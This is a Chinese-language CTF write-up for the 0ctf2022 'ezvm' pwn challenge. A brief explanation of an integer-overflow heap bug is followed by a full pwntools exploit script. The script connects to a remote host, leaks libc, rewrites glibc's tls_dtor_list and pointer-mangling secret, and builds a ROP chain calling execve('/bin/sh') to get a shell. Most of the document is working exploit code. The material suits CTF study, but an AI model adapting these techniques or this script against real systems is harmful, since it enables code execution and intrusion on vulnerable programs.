# 思路
在申请 memery 的时候存在整数溢出,程序虽然会检测到,但是允许我们进行一次的整数溢出申请,这样实际的 memery 的 count 很大,但是 chunk 的大小远小于这个值,造成了堆块的越界读写。
当我们申请一个很大的堆块,会在 libc 附近分配,配合越界写,我们就可以修改 tls_dtor_list, 以及 secret 的值。
chunk 的释放冲 i 性能申请没有对其进行清空,所以,我们申请出一个 largebin 范围的 chunk,然后释放,这样再次将其申请出来的时候,在 memery [1] 会存有一个指针,就可以知道 libc 的及地址了。将这个数据存在这个 chunk+0x1d0 附近,在这里写一些数据,拼接出 mov_r_i 的指令,以及一个 jmp 到低地址的指令 释放。然后我们我们这次的时候,codesize 为 0x200, 就会将刚写进去的拼接指令,放到 code 的靠后的位置,我们只需要在 code 的最开始写一个 jmp,让 vm 跳到我们刚写的拼接指令哪里,将 libc 的放入寄存器。同时这一次的 memerycount 要发生溢出,并且在 libc 附近申请到一个 chunk. 这样根据偏移量,结合程序的一些基本运算,就得到了函数地址,gadget 地址。然后修改 tls_dtor_list 到 heap 上,并在哪里填充 rop, 以及修改 searet 的值。最后触发程序错误,直接 exit,getshell
# exp
from pwn import * | |
#r=process('./ezvm') | |
r=remote('202.120.7.210',40241) | |
code =b'\x00'*0 | |
def push(rig): | |
global code | |
code +=p8(0)+p8(rig) | |
def pop(rig): | |
global code | |
code +=p8(1)+p8(rig) | |
def add(): | |
global code | |
code+=p8(2) | |
def sub(): | |
global code | |
code +=p8(3) | |
def imul(): | |
global code | |
code +=p8(4) | |
def div(): | |
global code | |
code+=p8(5) | |
def yu(): | |
global code | |
code +=p8(6) | |
def left(): | |
global code | |
code+=p8(7) | |
def right(): | |
global code | |
code +=p8(8) | |
def And(): | |
global code | |
code +=p8(9) | |
def Or(): | |
global code | |
code +=p8(11) | |
def xor(): | |
global code | |
code +=p8(12) | |
def judge0(): | |
global code | |
code +=p8(13) | |
def jmp(address): | |
global code | |
code +=p8(14)+p64(address) | |
def jnz(address): | |
global code | |
code +=p8(15)+p64(address) | |
def jz(address): | |
global code | |
code +=p8(16)+p64(address) | |
def cmpequ(): | |
global code | |
code+=p8(17) | |
def cmpsml(): | |
global code | |
code+=p8(18) | |
def cmpbig(): | |
global code | |
code +=p8(19) | |
def mov_r_i(rig,num): | |
global code | |
code+=p8(20)+p8(rig)+p64(num) | |
def mov_m_r(rig,offset): | |
global code | |
code +=p8(21)+p8(rig)+p64(offset) | |
def mov_r_m(rig,offset): | |
global code | |
code +=p8(22)+p8(rig)+p64(offset) | |
def clear(): | |
global code | |
code = b'\x00'*0 | |
#size(stack) = 0x800 ====>we can use it to save 0x100 nums | |
def runcode(code,code_size,mem_size): | |
r.sendlineafter("Please input your code size:",str(code_size)) | |
r.sendlineafter("Please input your memory count:",str(int(mem_size/8))) | |
r.sendlineafter("Please input your code:",code) | |
mov_r_i(0,0x111111) | |
mov_r_i(1,0x222222) | |
mov_r_i(2,0x333333) | |
mov_r_i(3,0x444444) | |
push(0) | |
push(1) | |
push(2) | |
push(3) | |
#context.log_level = 'debug' | |
print(len(code)) | |
r.sendlineafter("Welcome to 0ctf2022!!",'aaa') | |
runcode(code,0xf0,0x600) | |
#gdb.attach(r,'brva 0x000001582') | |
clear() | |
#leak the libc | |
mov_r_m(0,0) | |
mov_r_m(0,0) | |
mov_r_i(1,0x219ce0) | |
mov_r_i(1,0x219ce0) | |
push(2) | |
push(3) | |
push(0) | |
push(1) | |
sub() | |
pop(0)#put libc into heap | |
mov_r_i(1,0x14000000000000) | |
mov_m_r(1,0x3a-0xa) | |
mov_m_r(0,0x3b-0xa) | |
mov_r_i(1,0xfffffffffffe700e)#jmp | |
mov_m_r(1,0x3c-0xa) | |
mov_r_i(2,0xffff)#addr | |
mov_m_r(2,0x3d-0xa) | |
print(len(code)) | |
r.sendlineafter("continue",'') | |
runcode(code,0xf0,0x600) | |
clear() | |
#we have the libc in mem | |
tls_offset = 0x0028c0 #libc - | |
tls_dtor_list_offset = 0x0416d8#libc- | |
secret_offset = 0x0028c0-0x30 | |
heap_offset = 0x43ff0 | |
sec_heap_offset = 0x0082ec | |
tls_dtor_list_heap_offset = 0x0082bb | |
#gdb.attach(r) | |
#code3 we need to malloc a big one | |
jmp(0x000186-9) | |
push(0) | |
mov_m_r(0,0) #memery[0] ==libc | |
# mov_r_i(1,secret_offset) | |
# push(1) | |
# sub() | |
# pop(2) | |
# mov_m_r(2,1) #memery[1] = secret_address | |
sec = 0x5143329d0ccc697 | |
mov_r_i(1,sec) | |
mov_m_r(1,sec_heap_offset) #secret = 0xcafebabedeadbeef | |
pos_offset = int(0x100/8) | |
#read rop to che chunk | |
'''rop | |
leave_ret = libc + 0x000562ec | |
prdi = libc + 0x002a3e5 | |
prsi = libc + 0x02be51 | |
prdx_pr12 = libc +0x011f497 | |
binsh = libc + 0x001d8698 | |
execve = libc + 0xeb0f0 | |
addr = ((leave_ret^sec)<<0x11)&0xffffffffffff8000 | |
addr += ((leave_ret^sec)>>0x2f)&0x7fff | |
rop = p64(prdi) + p64(binsh) | |
rop += p64(prsi) + p64(0) | |
rop += p64(prdx_pr12) + p64(0)*2 | |
rop += p64(execve) | |
''' | |
leave_ret = 0x000562ec | |
prdi = 0x002a3e5 | |
prsi = 0x02be51 | |
prdx_pr12 = 0x011f497 | |
binsh = 0x001d8698 | |
execve = 0xeb0f0 | |
#write leave ret | |
push(0) | |
mov_r_i(1,leave_ret) | |
push(1) | |
add() | |
mov_r_i(1,sec) | |
push(1) | |
xor() | |
pop(2) | |
push(2) #2 xor save | |
push(2) | |
mov_r_i(1,0x11) | |
push(1) | |
left() | |
mov_r_i(1,0xffffffffffff8000) | |
push(1) | |
And() | |
pop(2) #addr lef | |
pop(3) | |
push(3) #xor res | |
mov_r_i(1,0x2f) | |
push(1) | |
right() | |
mov_r_i(1,0x7fff) | |
push(1) | |
And() | |
push(2) | |
add() | |
pop(2) #leave_ret_encrept | |
mov_m_r(2,pos_offset) | |
pos_offset+=1 | |
#pop _rdi | |
push(0) | |
mov_r_i(1,prdi) | |
push(1) | |
add() | |
pop(2) | |
mov_m_r(2,pos_offset) | |
pos_offset+=1 | |
#binsh | |
push(0) | |
mov_r_i(1,binsh) | |
push(1) | |
add() | |
pop(2) | |
mov_m_r(2,pos_offset) | |
pos_offset+=1 | |
#pop rsi | |
push(0) | |
mov_r_i(1,prsi) | |
push(1) | |
add() | |
pop(2) | |
mov_m_r(2,pos_offset) | |
pos_offset+=1 | |
#0 | |
pos_offset+=1 | |
#prdx 0 0 | |
push(0) | |
mov_r_i(1,prdx_pr12) | |
push(1) | |
add() | |
pop(2) | |
mov_m_r(2,pos_offset) | |
pos_offset+=3 | |
#execve | |
push(0) | |
mov_r_i(1,execve) | |
push(1) | |
add() | |
pop(2) | |
mov_m_r(2,pos_offset) | |
#change the tls_dtor_list | |
push(0) | |
mov_r_i(1,heap_offset-0x100) | |
push(1) | |
sub() | |
pop(2) | |
mov_m_r(2,tls_dtor_list_heap_offset+0x20) #list = heap_address | |
push(4) | |
#gdb.attach(r,'b exit') | |
context.log_level = 'debug' | |
print(hex(len(code))) | |
r.sendlineafter("continue",'') | |
r.sendlineafter("Please input your code size:",str(0x1f0)) | |
r.sendlineafter("Please input your memory count:",str(0x6000000000008000)) | |
r.sendlineafter("Please input your code:",code) | |
r.interactive() |